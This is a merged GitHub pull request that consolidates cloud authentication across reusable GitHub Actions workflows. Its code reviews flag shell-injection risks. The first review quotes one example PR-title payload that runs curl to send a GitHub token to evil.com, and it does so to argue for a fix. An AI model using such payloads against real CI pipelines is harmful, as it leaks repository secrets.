Skip to content

feat: unify provider auth#78

Merged
chris11-taylor-nttd merged 45 commits into
mainfrom
feat/unify-provider-auth-pr
May 1, 2026
Merged

feat: unify provider auth#78
chris11-taylor-nttd merged 45 commits into
mainfrom
feat/unify-provider-auth-pr

Conversation

@chris11-taylor-nttd
Copy link
Copy Markdown
Contributor

Disclaimer: I've been building this out over the last couple weeks in our nttdtest organization, but Claude helped with the final review and PR description.

This will be tagged 0.15.0, and if nothing major arises, will become 1.0.0.

Unify Provider Authentication Across Workflows

Summary

This PR consolidates provider authentication into a composable auth_method pattern, introduces a new update-status-check action that correctly targets PR head commits, and adds several new reusable workflows for PR automation and skeleton-based repository updates. Existing AWS- and Azure-specific workflows are updated to emit the new status checks and have their credential handling hardened.

The existing cloud-specific workflows will be removed once we're fully converted to the consolidated workflows.

New: update-status-check action

A new composite action at .github/actions/update-status-check wraps the GitHub Commit Status API. The key problem it solves: github.sha on pull request events resolves to a temporary merge commit that is invisible in the PR UI, so status checks written to it never appear. This action resolves the actual PR head SHA via the API before writing any status, ensuring checks always surface correctly in the PR.

The action accepts check_name, status (error/failure/pending/success), an optional description, and an optional target_url. All workflows that write status checks now go through this action.

New: consolidated workflows with composable authentication

Three new unified workflows replace the pattern of maintaining separate AWS and Azure variants:

reusable-terraform-check.yml

Replaces reusable-terraform-check-aws.yml and reusable-terraform-check-azure.yml as the recommended entry point for Terraform module CI. Accepts an auth_method input (comma-delimited: aws, azure, github, or empty for no auth) and routes to the appropriate credential steps at runtime. Features:

  • validate-inputs job performs upfront checks that required inputs and secrets are present for each requested auth method, failing fast with a clear error before any infrastructure-touching work begins
  • lint and tests jobs run in parallel (after validation passes)
  • legacy job writes the old Check AWS Terraform Code / Check AWS Terraform Code and Check Azure Terraform Code / Check Azure Terraform Code status checks on success, allowing repositories to transition to the new check names without losing merge-gate coverage

reusable-terragrunt-deploy.yml

Replaces reusable-terragrunt-deploy-aws.yml and reusable-terragrunt-deploy-azure.yml as the recommended entry point for Terragrunt environment deployments. Same auth_method composability. Emits Terragrunt Plan (<tg_dir>) and Terragrunt Deploy (<tg_dir>) status checks on the PR head commit throughout execution, so the PR status is live-updated rather than only reflecting final outcome.

reusable-terragrunt-plan-only.yml

Replaces reusable-terragrunt-plan-only-aws.yml and reusable-terragrunt-plan-only-azure.yml. Same pattern as the deploy workflow, plan-only variant.

All three consolidated workflows pass inputs and secrets through env: blocks in bash steps rather than expanding them inline, removing the risk of shell metacharacter injection from input values.

New: PR automation workflows

reusable-pr-automated-approvals.yml

Grants automated approvals to PRs opened by dependabot[bot] or launch-skeleton-auto-updater[bot], provided every commit on the PR was authored by one of those actors. For skeleton-updater PRs, an additional check requires the PR title to begin with chore. If a previously-approved PR later gains a commit from a non-automated author, any existing automated approvals are dismissed.

Uses two configurable GitHub App identities (Alpha and Bravo) so that repositories requiring two approvals can be served without manual intervention. Includes a validate-inputs job that checks all required app IDs and keys before attempting any API calls.

reusable-update-from-skeleton.yml

Runs copier update (or copier recopy when the recopy input is set) against the skeleton template recorded in the repository's .copier-answers.yml. After the update:

  • If no changes are detected (git status --porcelain), the workflow exits cleanly with a step summary note.
  • If changes are detected, it runs pre-commit run check-merge-conflict to check for conflict markers introduced by the update.
  • Clean updates (no conflicts, not a full recopy) open a PR with auto-merge enabled and a chore: title — intended to land without human review once the configured status checks (Terraform lint/tests) pass.
  • Updates with conflicts or full recopies open a PR with a fix: title, include the pre-commit output and a list of conflicting files in the PR body, and do not enable auto-merge.

Respects a prerelease repository custom property: when set to true, copier will also consider pre-release versions of the skeleton template.

reusable-pr-dependabot-automerge.yml

Enables auto-merge (squash) on Dependabot PRs.

Updates to existing workflows

reusable-terraform-check-aws.yml / reusable-terraform-check-azure.yml

  • Added statuses: write permission.
  • Added Terraform Lint and Terraform Tests status checks (pending → success/failure/error) around the existing make lint and make test steps.
  • AWS: Fixed credential file population — was incorrectly reading from secrets.AWS_ACCESS_KEY_ID etc. (which were never populated); now correctly reads from steps.aws-login.outputs.* after the configure-aws-credentials step.
  • AWS/Azure: Inputs and secrets that need to reach make configure are now passed via env: blocks instead of inline shell expansion.

reusable-pr-conventional-commit-title.yml

  • Added statuses: write permission.
  • Writes a Conventional Commit PR Title status check and a legacy Label Pull Request / Label Pull Request status check, enabling repositories to gate merges on commit title validation.
  • Label-clearing now only fires on ready_for_review and edited (title change) events, preventing spurious label removal on unrelated PR activity.
  • Removed wip from the default task_types list — work-in-progress commits should not land on main.
  • Pinned all third-party actions (actions/github-script, peter-evans/find-comment, peter-evans/create-or-update-comment) to full commit SHAs.

reusable-terragrunt-deploy-aws.yml, reusable-terragrunt-deploy-azure.yml, reusable-terragrunt-deploy-ephemeral-aws.yml, reusable-terragrunt-destroy-ephemeral-aws.yml, reusable-terragrunt-plan-only-aws.yml, reusable-terragrunt-plan-only-azure.yml

Updated terragrunt-configure-mise action ref from @0.14.2 to @0.15.0.

reusable-python-uv-pytest.yml

Formatting-only: normalized step indentation to be consistent with the rest of the workflow files. No behavioural changes.

.github/actions/terragrunt-configure-mise/action.yml

Fixed toml set invocation — the --toml-path flag is required by the current toml-cli version; the previous positional-argument form no longer works.

Migration guide

Existing callers of reusable-terraform-check-aws.yml / reusable-terraform-check-azure.yml: These workflows remain functional and now emit the new status checks alongside the legacy ones. No caller changes are required. To migrate to the consolidated workflow:

# Before (AWS)
uses: launchbynttdata/launch-workflows/.github/workflows/reusable-terraform-check-aws.yml@0.15.0
with:
  assume_role_arn: ${{ vars.TERRAFORM_CHECK_AWS_ASSUME_ROLE_ARN }}
  region: us-east-2

# After
uses: launchbynttdata/launch-workflows/.github/workflows/reusable-terraform-check.yml@0.15.0
with:
  auth_method: "aws"
  aws_assume_role_arn: ${{ vars.TERRAFORM_CHECK_AWS_ASSUME_ROLE_ARN }}
  aws_auth_region: us-east-2

Existing callers of the Terragrunt deploy/plan-only workflows: The AWS- and Azure-specific variants remain functional. To migrate, replace the provider-specific workflow ref with the consolidated one and add auth_method.

Branch protection rules: Repositories currently gating on Check AWS Terraform Code / Check AWS Terraform Code or Check Azure Terraform Code / Check Azure Terraform Code will continue to work — the legacy job in the consolidated workflow writes those checks on success. Once all callers have migrated, the legacy job and the old check names can be retired from branch protection rules.

@chris11-taylor-nttd chris11-taylor-nttd marked this pull request as ready for review April 28, 2026 20:10
Copy link
Copy Markdown
Contributor

@bryce-lynn-nttd bryce-lynn-nttd left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

PR Review

Overall: Well-architected consolidation — composable auth, the update-status-check action solving the merge commit SHA problem, legacy compatibility, and thorough migration guide. The move from inline ${{ }} to env: blocks across existing workflows is a meaningful security improvement. A few security issues to address before this ships to 250+ repos.

Critical

1. Shell injection via PR title in reusable-pr-automated-approvals.yml

PR_TITLE="${{ github.event.pull_request.title }}"

The title is interpolated directly into a run: block. Anyone who can edit a PR title can execute arbitrary shell commands. A title like "; curl evil.com?t=$GH_TOKEN; echo "chore breaks out of the string. Same issue with ${{ github.actor }} on the adjacent line.

Fix: Move both to the env: block:

env:
  PR_TITLE: ${{ github.event.pull_request.title }}
  GH_ACTOR: ${{ github.actor }}

2. GitHub App tokens interpolated inline in shell (same file)
The approve and revoke steps interpolate ${{ steps.approver-alpha-token.outputs.token }} directly in run: blocks. Tokens should always go through env: blocks, not inline expansion.

High

3. reusable-update-from-skeleton.yml — step outputs interpolated inline

if [ "${{ steps.run-updates.outputs.pre_commit_passed }}" == "true" ] && [ "${{ inputs.recopy }}" != "true" ]; then

Since copier --trust runs upstream tasks that can write to $GITHUB_OUTPUT, these outputs are attacker-influenced. Should use env: blocks.

4. PR body heredoc bug (same file)
The heredoc uses single-quoted 'EOF' which prevents command substitution. The PR body will literally contain $(echo "$PRE_COMMIT_OUTPUT" | sed 's/^/> /') as text instead of the actual pre-commit output. Functional bug.

5. copier --trust + git add . — supply chain trust boundary
After copier update --trust, git add . commits everything including any files the skeleton's tasks may have created (e.g., modified .github/workflows/). This is inherent to the copier architecture, but worth a comment in the workflow documenting the trust assumption.

Medium

6. inputs.git_branch inline in JSON construction (reusable-terragrunt-deploy.yml, reusable-terragrunt-plan-only.yml)
Branch names with quotes or special chars could break the JSON payload or corrupt $GITHUB_OUTPUT. Should pass through env: and properly escape.

7. AWS credentials file permissions (reusable-terraform-check.yml)
~/.aws/credentials created without chmod 600.

Positive notes

  • Third-party actions all pinned to full commit SHAs
  • The validate-inputs pattern (fail fast before infra work) is excellent
  • Legacy status check emission for migration is well-designed
  • AWS credential fix (step outputs instead of nonexistent secrets) is correct
  • The automated approvals commit-author verification is a good defense-in-depth layer

Generated with Claude Code

Copy link
Copy Markdown
Contributor

@bryce-lynn-nttd bryce-lynn-nttd left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

PR Review

Overall: All previously-flagged blocking issues are fixed in 81ca00c. The shell-injection vectors via PR title and app tokens are now properly env-blocked, the heredoc bug in the skeleton update workflow is corrected, the AWS credentials file gets chmod 600 via install -m 600, and git_branch flows through env: before JSON construction. Approving.

Non-blocking observations

1. set -x while writing AWS credentials (reusable-terraform-check.yml, create-aws-profile step)
The xtrace output expands echo aws_access_key_id=$AWS_ACCESS_KEY_ID and friends. Secret masking from configure-aws-credentials does render these as *** in logs, but this was also true of the legacy workflow — worth tightening in a follow-up by dropping set -x in that step or writing via heredoc.

2. Internal action refs still on @feat/unify-provider-auth
All update-status-check, terragrunt-configure-mise, and get-custom-properties references in the consolidated workflows point at the feature branch. PR description says these will be tagged 0.15.0 — just calling out that the final repoint to the tag needs to happen before release (the existing fix: repoint to current tag commit suggests this is already on your radar).

Notable strengths (worth restating)

  • Composable auth_method with upfront validate-inputs jobs is a clean pattern across all three consolidated workflows
  • The update-status-check action solving the PR head SHA visibility problem is a meaningful fix that benefits the whole org
  • Legacy status check emission preserves merge gating during the migration
  • Third-party actions all pinned to full commit SHAs
  • Automated approvals commit-author verification + revoke-on-non-automated-commit is solid defense-in-depth

Generated with Claude Code (Opus 4.7)

@chris11-taylor-nttd chris11-taylor-nttd merged commit c57235a into main May 1, 2026
3 checks passed
@chris11-taylor-nttd chris11-taylor-nttd deleted the feat/unify-provider-auth-pr branch May 1, 2026 21:19
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

4 participants